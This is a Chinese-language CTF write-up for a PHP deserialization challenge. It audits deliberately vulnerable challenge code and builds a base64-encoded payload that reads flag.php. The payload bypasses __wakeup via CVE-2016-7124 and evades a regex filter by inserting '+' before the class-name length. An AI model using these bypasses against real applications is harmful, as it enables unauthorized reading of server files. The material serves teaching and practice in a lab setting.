5.level5-[本地复现]-[+的利用]-[私有属性的序列化]-[base64编码]
我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
PHP反序列化漏洞
level5-[本地复现]-[+的利用]-[私有属性的序列化]-[base64编码]
1.题目描述
<?php
class Demo {
private $file = 'level-5-local.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'level-5-local.php') {
//the secret is in the flag.php
$this->file = 'level-5-local.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("level-5-local.php");
}
?>
2.代码审计
通读代码:
<?php
class Demo { // 定义一个以Demo为名的类
private $file = 'level-5-local.php'; // 定义一个以file为名的私有属性,赋值为当前页面
public function __construct($file) { // 定义一个以file属性为参数的公有构造方法
$this->file = $file; // 构造方法:当前类的实例化对象被创建的时候,自动被调用,从而进行属性初始化
}
function __destruct() { // 定义一个析构方法
echo @highlight_file($this->file, true);
// 析构方法:当前类的实例化对象被销毁前,自动被调用,从而高亮显示以file属性为名的文件源码
}
function __wakeup() { // 定义一个魔术方法wakeup,当前类的实例化对象被反序列化的时候,自动被调用
if ($this->file != 'level-5-local.php') { // 判断file属性的值是否为level-5-local.php
//the secret is in the flag.php // 提示flag位于flag.php页面的中,
// 猜测是注释,需要读取页面源码
$this->file = 'level-5-local.php'; // 若file属性的值不为当前页面,就赋值为当前页面
}
}
}
if (isset($_GET['var'])) { // 判断是否以GET形式提交了参数给var,或提交的参数是否为NULL
$var = base64_decode($_GET['var']); // 若提交了且不为NULL,则对传入的参数进行base64解码
if (preg_match('/[oc]:d+:/i', $var)) { // 正则匹配,过滤序列化字符串
die('stop hacking!'); // 若匹配正则成功,输出stop hacking!并且直接退出脚本
} else {
@unserialize($var); // 否则,反序列化字符串,然后会自动的去执行wakeup方法
}
} else { // 否则,也就是没有提交参数或提交的参数为NULL
highlight_file("level-5-local.php"); // 高亮显示当前页面level-5-local.php的源码
}
?>
从上到下,依次分析所得:
-
flag值位于:flag.php页面内,猜测是以注释的方式存储,所以需要读取页面源码
-
Demo类的析构方法,会高亮显示以file私有属性的值为名的文件的页面源码
-
Demo类的wakeup方法,会强制的把file属性的值修改为当前level5-local.php页面
-
后台对用户传入的参数进行base64解码,因此我们在传入序列化字符串之前要进行base64编码,也就变相的绕过了私有属性在序列化时候产生的不可见字符0了
-
后台对我们传入的序列化字符串进行了正则匹配的过滤,首先要看得懂:if (preg_match(’/[oc]:d+:/i’, $var))
/ 正则匹配开始的标志 [oc] 匹配o或者c d 匹配任意一个10进制的数 + 匹配前面的字符 1-N 次 / 正则匹配结束的标志 i 表示不区分大小写
-
反序列化我们传入的参数,会自动调用wakeup方法,从而强制的把file属性的值修改为当前level5-local.php页面
四要素分析:
- **后台存在反序列函数:**会触发wakeup魔术方法,强制的把file属性修改为当前页面,我们可以利用CVE-2016-7124漏洞,从而使反序列化的时候绕过该魔术方法
- **后台存在不正当使用魔术方法的行为:**析构方法会高亮显示以file私有属性的值为名的文件的页面源码
- **后台存在highlight_file()函数:**可以读取页面源码
- 用户对传入的反序列化的内容可控:使用+绕过正则匹配
3.解题过程
第一步:分析流程
- 要想获得flag值,需要读取flag.php页面的源码
- 要想读取flag.php页面的源码,需要执行析构方法且file属性的值为flag.php,同时不能执行wakeup魔术方法
- 想要执行析构方法且file属性的值为flag.php,需要传入当前类且属性值为flag.php的实例化对象,注意需要绕过正则对我们传入的序列化的过滤
- 想要在反序列化的时候不执行wakeup魔术方法,只要利用CVE-2016-7124漏洞即可
- 想要绕过正则的过滤,只需要在类名长度的前面加上一个+即可,注意正号对反序列化的时候无影响
- 注意:最后我们需要把传入的序列化字符串进行base64编码,因为后台会base64解码
第二步:根据以上步骤构造payload
<?php
class Demo {
private $file = 'flag.php';
}
$chen = new Demo();
$chen = serialize($chen);
echo $chen."<br />";
$chen = str_replace(':1:',':2:',$chen); // 绕过wakeup:CVE-2016-7124
$chen = str_replace('O:4','O:+4',$chen); // 绕过正则:在类名的长度前面加上一个+
echo $chen."<br />";
$chen = base64_encode($chen);
echo $chen;
//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
?>
payload:
?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbGFnLnBocCI7fQ==
第三步:传入payload,读取flag.php页面源码,得到flag
4.总结
- 序列化后:类名的长度前面可以加上一个+,既可以绕过正则,也不会影响反序列化的进行
- CVE-2016-7124绕过wakeup
本图文内容来源于网友网络收集整理提供,作为学习参考使用,版权属于原作者。
THE END
二维码